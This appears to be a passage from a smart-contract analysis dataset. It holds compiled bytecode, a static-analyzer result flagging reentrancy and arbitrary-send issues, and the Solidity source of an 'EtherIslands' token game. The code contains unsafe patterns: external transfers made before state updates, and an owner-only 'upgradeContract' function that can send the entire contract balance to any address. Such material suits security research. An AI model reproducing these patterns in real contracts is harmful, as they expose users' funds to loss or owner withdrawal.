075482516001600160a01b0390911690839083908110610b4957610b49611e6d565b60200260200101516001600160a01b031614155b15610bba57600160066000848481518110610b7a57610b7a611e6d565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bc481611e83565b915050610ae0565b60006106bf3384846111b3565b6008546001600160a01b0316336001600160a01b031614610bf957600080fd5b6000610c0430610a2e565b9050610a2b816118a6565b6000546001600160a01b03163314610c395760405162461bcd60e51b81526004016107d890611e9c565b60115460ff1615610c865760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107d8565b6011805460ff19166001179055426010556801158e460913d00000600e5568022b1c8c1227a00000600f55565b600a5460009061083e906001600160a01b0316610a2e565b6000546001600160a01b03163314610cf55760405162461bcd60e51b81526004016107d890611e9c565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106a7565b6000546001600160a01b03163314610d725760405162461bcd60e51b81526004016107d890611e9c565b60115460ff1615610dbf5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107d8565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610dfc3082683635c9adc5dea0000061108f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5e9190611ed1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecf9190611ed1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f409190611ed1565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f7081610a2e565b600080610f856000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fed573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110129190611eee565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561106b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cb9190611f1c565b6001600160a01b0383166110f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107d8565b6001600160a01b0382166111525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107d8565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107d8565b6001600160a01b0382166112795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107d8565b600081116112db5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107d8565b6001600160a01b03831660009081526006602052604090205460ff16156113505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107d8565b600080546001600160a01b0385811691161480159061137d57506000546001600160a01b03848116911614155b156117c257600a546001600160a01b0385811691161480156113ad57506007546001600160a01b03848116911614155b80156113d257506001600160a01b03831660009081526004602052604090205460ff16155b1561165e5760115460ff166114295760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107d8565b60105442036114685760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107d8565b42601054610e106114799190611f39565b11156114f357600f5461148b84610a2e565b6114959084611f39565b11156114f35760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107d8565b6001600160a01b03831660009081526005602052604090206001015460ff1661155b576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42601054607861156b9190611f39565b111561163f57600e548211156115c35760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107d8565b6115ce42600f611f39565b6001600160a01b0384166000908152600560205260409020541061163f5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107d8565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611678575060115460ff165b80156116925750600a546001600160a01b03858116911614155b156117c2576116a242600f611f39565b6001600160a01b038516600090815260056020526040902054106117145760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107d8565b600061171f30610a2e565b905080156117ab5760115462010000900460ff16156117a257600d54600a5460649190611754906001600160a01b0316610a2e565b61175e9190611f51565b6117689190611f70565b8111156117a257600d54600a546064919061178b906001600160a01b0316610a2e565b6117959190611f51565b61179f9190611f70565b90505b6117ab816118a6565b4780156117bb576117bb47611821565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180457506001600160a01b03841660009081526004602052604090205460ff165b1561180d575060005b61181a8585858486611a1a565b5050505050565b6008546001600160a01b03166108fc61183b600284611f70565b6040518115909202916000818181858888f19350505050158015611863573d6000803e3d6000fd5b506009546001600160a01b03166108fc61187e600284611f70565b6040518115909202916000818181858888f193505050501580156108cb573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118ea576118ea611e6d565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611943573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119679190611ed1565b8160018151811061197a5761197a611e6d565b6001600160a01b0392831660209182029290920101526007546119a0913091168461108f565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119d9908590600090869030904290600401611f92565b600060405180830381600087803b1580156119f357600080fd5b505af1158015611a07573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a268383611a3c565b9050611a3486868684611a83565b505050505050565b6000808315611a7c578215611a545750600b54611a7c565b50600c54601054611a6790610384611f39565b421015611a7c57611a79600582611f39565b90505b9392505050565b600080611a908484611b60565b6001600160a01b0388166000908152600260205260409020549193509150611ab9908590611e56565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611ae9908390611f39565b6001600160a01b038616600090815260026020526040902055611b0b81611b94565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5091815260200190565b60405180910390a3505050505050565b600080806064611b708587611f51565b611b7a9190611f70565b90506000611b888287611e56565b96919550909350505050565b30600090815260026020526040902054611baf908290611f39565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bef57858101830151858201604001528201611bd3565b81811115611c01576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a2b57600080fd5b8035611c3781611c17565b919050565b600060208284031215611c4e57600080fd5b8135611a7c81611c17565b60008060408385031215611c6c57600080fd5b8235611c7781611c17565b946020939093013593505050565b60008060408385031215611c9857600080fd5b50508035926020909101359150565b600080600060608486031215611cbc57600080fd5b8335611cc781611c17565b92506020840135611cd781611c17565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1157600080fd5b823567ffffffffffffffff80821115611d2957600080fd5b818501915085601f830112611d3d57600080fd5b813581811115611d4f57611d4f611ce8565b8060051b604051601f19603f83011681018181108582111715611d7457611d74611ce8565b604052918252848201925083810185019188831115611d9257600080fd5b938501935b82851015611db757611da885611c2c565b84529385019392850192611d97565b98975050505050505050565b600060208284031215611dd557600080fd5b5035919050565b8015158114610a2b57600080fd5b600060208284031215611dfc57600080fd5b8135611a7c81611ddc565b60008060408385031215611e1a57600080fd5b8235611e2581611c17565b91506020830135611e3581611c17565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e6857611e68611e40565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9557611e95611e40565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ee357600080fd5b8151611a7c81611c17565b600080600060608486031215611f0357600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f2e57600080fd5b8151611a7c81611ddc565b60008219821115611f4c57611f4c611e40565b500190565b6000816000190483118215151615611f6b57611f6b611e40565b500290565b600082611f8d57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fe25784516001600160a01b031683529383019391830191600101611fbd565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220c71053b7508d305862b9d1af0135b85ebd951882f30f760e42452cf8e91c185564736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,745 |
0x9808e39c7293ac907e288c8e0e42465ad62c5bd5
|
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC721 interface
* @dev see https://github.com/ethereum/eips/issues/721
*/
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
contract EtherIslands is Ownable, ERC721 {
using SafeMath for uint256;
/*** EVENTS ***/
event NewIsland(uint256 tokenId, bytes32 name, address owner);
event IslandSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, bytes32 name);
event Transfer(address from, address to, uint256 tokenId);
event DividendsPaid(address to, uint256 amount, bytes32 divType);
event ShipsBought(uint256 tokenId, address owner);
event IslandAttacked(uint256 attackerId, uint256 targetId);
event TreasuryWithdrawn(uint256 tokenId);
/*** STRUCTS ***/
struct Island {
bytes32 name;
address owner;
uint256 price;
uint256 treasury;
uint256 treasury_next_withdrawal_block;
uint256 previous_price;
uint256 attack_ships_count;
uint256 defense_ships_count;
uint256 transactions_count;
address approve_transfer_to;
address[2] previous_owners;
}
struct IslandBattleStats {
uint256 attacks_won;
uint256 attacks_lost;
uint256 defenses_won;
uint256 defenses_lost;
uint256 treasury_stolen;
uint256 treasury_lost;
uint256 attack_cooldown;
uint256 defense_cooldown;
}
/*** CONSTANTS ***/
string public constant NAME = "EtherIslands";
string public constant SYMBOL = "EIS";
bool public maintenance = true;
uint256 islands_count;
uint256 shipPrice = 0.01 ether;
uint256 withdrawalBlocksCooldown = 100;
address m_address = 0xd17e2bFE196470A9fefb567e8f5992214EB42F24;
mapping(address => uint256) private ownerCount;
mapping(uint256 => Island) private islands;
mapping(uint256 => IslandBattleStats) private islandBattleStats;
/*** DEFAULT METHODS ***/
function symbol() public pure returns (string) {return SYMBOL;}
function name() public pure returns (string) {return NAME;}
function implementsERC721() public pure returns (bool) {return true;}
function EtherIslands() public {
_create_island("Santorini", msg.sender, 0.001 ether, 0, 0, 0);
_create_island("Seychelles", msg.sender, 0.001 ether, 0, 0, 0);
_create_island("Palawan", msg.sender, 0.001 ether, 0, 0, 0);
_create_island("The Cook Islands", msg.sender, 0.001 ether, 0, 0, 0);
_create_island("Bora Bora", msg.sender, 0.001 ether, 0, 0, 0);
_create_island("Maldives", msg.sender, 0.001 ether, 0, 0, 0);
}
/** PUBLIC METHODS **/
function createIsland(bytes32 _name, uint256 _price, address _owner, uint256 _attack_ships_count, uint256 _defense_ships_count) public onlyOwner {
require(msg.sender != address(0));
_create_island(_name, _owner, _price, 0, _attack_ships_count, _defense_ships_count);
}
function attackIsland(uint256 _attacker_id, uint256 _target_id) public payable {
require(maintenance == false);
Island storage attackerIsland = islands[_attacker_id];
IslandBattleStats storage attackerIslandBattleStats = islandBattleStats[_attacker_id];
Island storage defenderIsland = islands[_target_id];
IslandBattleStats storage defenderIslandBattleStats = islandBattleStats[_target_id];
require(attackerIsland.owner == msg.sender);
require(attackerIsland.owner != defenderIsland.owner);
require(msg.sender != address(0));
require(msg.value == 0);
require(block.number >= attackerIslandBattleStats.attack_cooldown);
require(block.number >= defenderIslandBattleStats.defense_cooldown);
require(attackerIsland.attack_ships_count > 0); // attacker must have at least 1 attack ship
require(attackerIsland.attack_ships_count > defenderIsland.defense_ships_count);
uint256 goods_stolen = SafeMath.mul(SafeMath.div(defenderIsland.treasury, 100), 75);
defenderIsland.treasury = SafeMath.sub(defenderIsland.treasury, goods_stolen);
attackerIslandBattleStats.attacks_won++;
attackerIslandBattleStats.treasury_stolen = SafeMath.add(attackerIslandBattleStats.treasury_stolen, goods_stolen);
defenderIslandBattleStats.defenses_lost++;
defenderIslandBattleStats.treasury_lost = SafeMath.add(defenderIslandBattleStats.treasury_lost, goods_stolen);
uint256 cooldown_block = block.number + 20;
attackerIslandBattleStats.attack_cooldown = cooldown_block;
defenderIslandBattleStats.defense_cooldown = cooldown_block;
uint256 goods_to_treasury = SafeMath.mul(SafeMath.div(goods_stolen, 100), 75);
attackerIsland.treasury = SafeMath.add(attackerIsland.treasury, goods_to_treasury);
// 2% of attacker army and 10% of defender army is destroyed
attackerIsland.attack_ships_count = SafeMath.sub(attackerIsland.attack_ships_count, SafeMath.mul(SafeMath.div(attackerIsland.attack_ships_count, 100), 2));
defenderIsland.defense_ships_count = SafeMath.sub(defenderIsland.defense_ships_count, SafeMath.mul(SafeMath.div(defenderIsland.defense_ships_count, 100), 10));
// Dividends
uint256 goods_for_current_owner = SafeMath.mul(SafeMath.div(goods_stolen, 100), 15);
uint256 goods_for_previous_owner_1 = SafeMath.mul(SafeMath.div(goods_stolen, 100), 6);
uint256 goods_for_previous_owner_2 = SafeMath.mul(SafeMath.div(goods_stolen, 100), 3);
uint256 goods_for_dev = SafeMath.mul(SafeMath.div(goods_stolen, 100), 1);
attackerIsland.owner.transfer(goods_for_current_owner);
attackerIsland.previous_owners[0].transfer(goods_for_previous_owner_1);
attackerIsland.previous_owners[1].transfer(goods_for_previous_owner_2);
//Split dev fee
m_address.transfer(SafeMath.mul(SafeMath.div(goods_for_dev, 100), 20));
owner.transfer(SafeMath.mul(SafeMath.div(goods_for_dev, 100), 80));
IslandAttacked(_attacker_id, _target_id);
}
function buyShips(uint256 _island_id, uint256 _ships_to_buy, bool _is_attack_ships) public payable {
require(maintenance == false);
Island storage island = islands[_island_id];
uint256 totalPrice = SafeMath.mul(_ships_to_buy, shipPrice);
require(island.owner == msg.sender);
require(msg.sender != address(0));
require(msg.value >= totalPrice);
if (_is_attack_ships) {
island.attack_ships_count = SafeMath.add(island.attack_ships_count, _ships_to_buy);
} else {
island.defense_ships_count = SafeMath.add(island.defense_ships_count, _ships_to_buy);
}
// Dividends
uint256 treasury_div = SafeMath.mul(SafeMath.div(totalPrice, 100), 80);
uint256 dev_div = SafeMath.mul(SafeMath.div(totalPrice, 100), 17);
uint256 previous_owner_div = SafeMath.mul(SafeMath.div(totalPrice, 100), 2);
uint256 previous_owner2_div = SafeMath.mul(SafeMath.div(totalPrice, 100), 1);
island.previous_owners[0].transfer(previous_owner_div);
//divs for 1st previous owner
island.previous_owners[1].transfer(previous_owner2_div);
//divs for 2nd previous owner
island.treasury = SafeMath.add(treasury_div, island.treasury);
// divs for treasury
//Split dev fee
uint256 m_fee = SafeMath.mul(SafeMath.div(dev_div, 100), 20);
uint256 d_fee = SafeMath.mul(SafeMath.div(dev_div, 100), 80);
m_address.transfer(m_fee);
owner.transfer(d_fee);
DividendsPaid(island.previous_owners[0], previous_owner_div, "buyShipPreviousOwner");
DividendsPaid(island.previous_owners[1], previous_owner2_div, "buyShipPreviousOwner2");
ShipsBought(_island_id, island.owner);
}
function withdrawTreasury(uint256 _island_id) public payable {
require(maintenance == false);
Island storage island = islands[_island_id];
require(island.owner == msg.sender);
require(msg.sender != address(0));
require(island.treasury > 0);
require(block.number >= island.treasury_next_withdrawal_block);
uint256 treasury_to_withdraw = SafeMath.mul(SafeMath.div(island.treasury, 100), 10);
uint256 treasury_for_previous_owner_1 = SafeMath.mul(SafeMath.div(treasury_to_withdraw, 100), 2);
uint256 treasury_for_previous_owner_2 = SafeMath.mul(SafeMath.div(treasury_to_withdraw, 100), 1);
uint256 treasury_for_previous_owners = SafeMath.add(treasury_for_previous_owner_2, treasury_for_previous_owner_1);
uint256 treasury_for_current_owner = SafeMath.sub(treasury_to_withdraw, treasury_for_previous_owners);
island.owner.transfer(treasury_for_current_owner);
island.previous_owners[0].transfer(treasury_for_previous_owner_1);
island.previous_owners[1].transfer(treasury_for_previous_owner_2);
island.treasury = SafeMath.sub(island.treasury, treasury_to_withdraw);
island.treasury_next_withdrawal_block = block.number + withdrawalBlocksCooldown;
//setting cooldown for next withdrawal
DividendsPaid(island.previous_owners[0], treasury_for_previous_owner_1, "withdrawalPreviousOwner");
DividendsPaid(island.previous_owners[1], treasury_for_previous_owner_2, "withdrawalPreviousOwner2");
DividendsPaid(island.owner, treasury_for_current_owner, "withdrawalOwner");
TreasuryWithdrawn(_island_id);
}
function purchase(uint256 _island_id) public payable {
require(maintenance == false);
Island storage island = islands[_island_id];
require(island.owner != msg.sender);
require(msg.sender != address(0));
require(msg.value >= island.price);
uint256 excess = SafeMath.sub(msg.value, island.price);
if (island.previous_price > 0) {
uint256 owners_cut = SafeMath.mul(SafeMath.div(island.price, 160), 130);
uint256 treasury_cut = SafeMath.mul(SafeMath.div(island.price, 160), 18);
uint256 dev_fee = SafeMath.mul(SafeMath.div(island.price, 160), 7);
uint256 previous_owner_fee = SafeMath.mul(SafeMath.div(island.price, 160), 3);
uint256 previous_owner_fee2 = SafeMath.mul(SafeMath.div(island.price, 160), 2);
if (island.owner != address(this)) {
island.owner.transfer(owners_cut);
//divs for current island owner
}
island.previous_owners[0].transfer(previous_owner_fee);
//divs for 1st previous owner
island.previous_owners[1].transfer(previous_owner_fee2);
//divs for 2nd previous owner
island.treasury = SafeMath.add(treasury_cut, island.treasury);
// divs for treasury
//Split dev fee
uint256 m_fee = SafeMath.mul(SafeMath.div(dev_fee, 100), 20);
uint256 d_fee = SafeMath.mul(SafeMath.div(dev_fee, 100), 80);
m_address.transfer(m_fee);
owner.transfer(d_fee);
DividendsPaid(island.previous_owners[0], previous_owner_fee, "previousOwner");
DividendsPaid(island.previous_owners[1], previous_owner_fee2, "previousOwner2");
DividendsPaid(island.owner, owners_cut, "owner");
DividendsPaid(owner, dev_fee, "dev");
} else {
island.owner.transfer(msg.value);
}
island.previous_price = island.price;
island.treasury_next_withdrawal_block = block.number + withdrawalBlocksCooldown;
address _old_owner = island.owner;
island.price = SafeMath.mul(SafeMath.div(island.price, 100), 160);
//Change owners
island.previous_owners[1] = island.previous_owners[0];
island.previous_owners[0] = island.owner;
island.owner = msg.sender;
island.transactions_count++;
ownerCount[_old_owner] -= 1;
ownerCount[island.owner] += 1;
Transfer(_old_owner, island.owner, _island_id);
IslandSold(_island_id, island.previous_price, island.price, _old_owner, island.owner, island.name);
msg.sender.transfer(excess);
//returning excess
}
function onMaintenance() public onlyOwner {
require(msg.sender != address(0));
maintenance = true;
}
function offMaintenance() public onlyOwner {
require(msg.sender != address(0));
maintenance = false;
}
function totalSupply() public view returns (uint256 total) {
return islands_count;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownerCount[_owner];
}
function priceOf(uint256 _island_id) public view returns (uint256 price) {
return islands[_island_id].price;
}
function getIslandBattleStats(uint256 _island_id) public view returns (
uint256 id,
uint256 attacks_won,
uint256 attacks_lost,
uint256 defenses_won,
uint256 defenses_lost,
uint256 treasury_stolen,
uint256 treasury_lost,
uint256 attack_cooldown,
uint256 defense_cooldown
) {
id = _island_id;
attacks_won = islandBattleStats[_island_id].attacks_won;
attacks_lost = islandBattleStats[_island_id].attacks_lost;
defenses_won = islandBattleStats[_island_id].defenses_won;
defenses_lost = islandBattleStats[_island_id].defenses_lost;
treasury_stolen = islandBattleStats[_island_id].treasury_stolen;
treasury_lost = islandBattleStats[_island_id].treasury_lost;
attack_cooldown = islandBattleStats[_island_id].attack_cooldown;
defense_cooldown = islandBattleStats[_island_id].defense_cooldown;
}
function getIsland(uint256 _island_id) public view returns (
uint256 id,
bytes32 island_name,
address owner,
uint256 price,
uint256 treasury,
uint256 treasury_next_withdrawal_block,
uint256 previous_price,
uint256 attack_ships_count,
uint256 defense_ships_count,
uint256 transactions_count
) {
id = _island_id;
island_name = islands[_island_id].name;
owner = islands[_island_id].owner;
price = islands[_island_id].price;
treasury = islands[_island_id].treasury;
treasury_next_withdrawal_block = islands[_island_id].treasury_next_withdrawal_block;
previous_price = islands[_island_id].previous_price;
attack_ships_count = islands[_island_id].attack_ships_count;
defense_ships_count = islands[_island_id].defense_ships_count;
transactions_count = islands[_island_id].transactions_count;
}
function getIslands() public view returns (uint256[], address[], uint256[], uint256[], uint256[], uint256[], uint256[]) {
uint256[] memory ids = new uint256[](islands_count);
address[] memory owners = new address[](islands_count);
uint256[] memory prices = new uint256[](islands_count);
uint256[] memory treasuries = new uint256[](islands_count);
uint256[] memory attack_ships_counts = new uint256[](islands_count);
uint256[] memory defense_ships_counts = new uint256[](islands_count);
uint256[] memory transactions_count = new uint256[](islands_count);
for (uint256 _id = 0; _id < islands_count; _id++) {
ids[_id] = _id;
owners[_id] = islands[_id].owner;
prices[_id] = islands[_id].price;
treasuries[_id] = islands[_id].treasury;
attack_ships_counts[_id] = islands[_id].attack_ships_count;
defense_ships_counts[_id] = islands[_id].defense_ships_count;
transactions_count[_id] = islands[_id].transactions_count;
}
return (ids, owners, prices, treasuries, attack_ships_counts, defense_ships_counts, transactions_count);
}
/** PRIVATE METHODS **/
function _create_island(bytes32 _name, address _owner, uint256 _price, uint256 _previous_price, uint256 _attack_ships_count, uint256 _defense_ships_count) private {
islands[islands_count] = Island({
name : _name,
owner : _owner,
price : _price,
treasury : 0,
treasury_next_withdrawal_block : 0,
previous_price : _previous_price,
attack_ships_count : _attack_ships_count,
defense_ships_count : _defense_ships_count,
transactions_count : 0,
approve_transfer_to : address(0),
previous_owners : [_owner, _owner]
});
islandBattleStats[islands_count] = IslandBattleStats({
attacks_won : 0,
attacks_lost : 0,
defenses_won : 0,
defenses_lost : 0,
treasury_stolen : 0,
treasury_lost : 0,
attack_cooldown : 0,
defense_cooldown : 0
});
NewIsland(islands_count, _name, _owner);
Transfer(address(this), _owner, islands_count);
islands_count++;
}
function _transfer(address _from, address _to, uint256 _island_id) private {
islands[_island_id].owner = _to;
islands[_island_id].approve_transfer_to = address(0);
ownerCount[_from] -= 1;
ownerCount[_to] += 1;
Transfer(_from, _to, _island_id);
}
/*** ERC-721 compliance. ***/
function approve(address _to, uint256 _island_id) public {
require(msg.sender == islands[_island_id].owner);
islands[_island_id].approve_transfer_to = _to;
Approval(msg.sender, _to, _island_id);
}
function ownerOf(uint256 _island_id) public view returns (address owner){
owner = islands[_island_id].owner;
require(owner != address(0));
}
function takeOwnership(uint256 _island_id) public {
address oldOwner = islands[_island_id].owner;
require(msg.sender != address(0));
require(islands[_island_id].approve_transfer_to == msg.sender);
_transfer(oldOwner, msg.sender, _island_id);
}
function transfer(address _to, uint256 _island_id) public {
require(msg.sender != address(0));
require(msg.sender == islands[_island_id].owner);
_transfer(msg.sender, _to, _island_id);
}
function transferFrom(address _from, address _to, uint256 _island_id) public {
require(_from == islands[_island_id].owner);
require(islands[_island_id].approve_transfer_to == _to);
require(_to != address(0));
_transfer(_from, _to, _island_id);
}
function upgradeContract(address _newContract) public onlyOwner {
_newContract.transfer(this.balance);
}
}
|
0x60606040526004361061015e5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610163578063095ea7b3146101ed5780631051db341461021157806311f1fc991461023857806318160ddd1461024357806323b872dd1461026857806361b98cb3146102905780636352211e146102a35780636c376cc5146102d557806370a08231146102e85780638da5cb5b14610307578063913158f71461031a57806394b6638614610394578063952868b5146103a257806395d89b41146103b5578063a3f4df7e146103c8578063a9059cbb146103db578063b2e6ceeb146103fd578063b5dd20e914610413578063b9186d7d1461043e578063d5ea36f914610454578063dc3134ae14610467578063deb081df146104ca578063eb2c0223146106cf578063efef39a1146106ee578063f2fde38b146106f9578063f76f8d7814610718575b600080fd5b341561016e57600080fd5b61017661072b565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101b257808201518382015260200161019a565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f857600080fd5b61020f600160a060020a036004351660243561076d565b005b341561021c57600080fd5b610224610804565b604051901515815260200160405180910390f35b61020f600435610809565b341561024e57600080fd5b610256610b2b565b60405190815260200160405180910390f35b341561027357600080fd5b61020f600160a060020a0360043581169060243516604435610b31565b61020f6004356024356044351515610ba8565b34156102ae57600080fd5b6102b9600435610eef565b604051600160a060020a03909116815260200160405180910390f35b34156102e057600080fd5b610224610f1b565b34156102f357600080fd5b610256600160a060020a0360043516610f2b565b341561031257600080fd5b6102b9610f46565b341561032557600080fd5b610330600435610f55565b604051998a5260208a0198909852600160a060020a039096166040808a01919091526060890195909552608088019390935260a087019190915260c086015260e0850152610100840191909152610120830191909152610140909101905180910390f35b61020f600435602435610fab565b34156103ad57600080fd5b61020f611390565b34156103c057600080fd5b6101766113e6565b34156103d357600080fd5b610176611427565b34156103e657600080fd5b61020f600160a060020a036004351660243561145e565b341561040857600080fd5b61020f6004356114ac565b341561041e57600080fd5b61020f600435602435600160a060020a036044351660643560843561150c565b341561044957600080fd5b610256600435611552565b341561045f57600080fd5b61020f611567565b341561047257600080fd5b61047d6004356115b7565b60405198895260208901979097526040808901969096526060880194909452608087019290925260a086015260c085015260e0840152610100830191909152610120909101905180910390f35b34156104d557600080fd5b6104dd6115fc565b604051808060200180602001806020018060200180602001806020018060200188810388528f818151815260200191508051906020019060200280838360005b8381101561053557808201518382015260200161051d565b5050505090500188810387528e818151815260200191508051906020019060200280838360005b8381101561057457808201518382015260200161055c565b5050505090500188810386528d818151815260200191508051906020019060200280838360005b838110156105b357808201518382015260200161059b565b5050505090500188810385528c818151815260200191508051906020019060200280838360005b838110156105f25780820151838201526020016105da565b5050505090500188810384528b818151815260200191508051906020019060200280838360005b83811015610631578082015183820152602001610619565b5050505090500188810383528a818151815260200191508051906020019060200280838360005b83811015610670578082015183820152602001610658565b50505050905001888103825289818151815260200191508051906020019060200280838360005b838110156106af578082015183820152602001610697565b505050509050019e50505050505050505050505050505060405180910390f35b34156106da57600080fd5b61020f600160a060020a03600435166118c0565b61020f60043561191b565b341561070457600080fd5b61020f600160a060020a0360043516611f36565b341561072357600080fd5b610176611fc4565b6107336123ca565b60408051908101604052600c81527f457468657249736c616e64730000000000000000000000000000000000000000602082015290505b90565b60008181526006602052604090206001015433600160a060020a0390811691161461079757600080fd5b600081815260066020526040908190206009018054600160a060020a031916600160a060020a038581169182179092559133909116907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259084905190815260200160405180910390a35050565b600190565b600080548190819081908190819060a060020a900460ff161561082b57600080fd5b6000878152600660205260409020600181015490965033600160a060020a0390811691161461085957600080fd5b33600160a060020a0316151561086e57600080fd5b60038601546000901161088057600080fd5b6004860154431015610891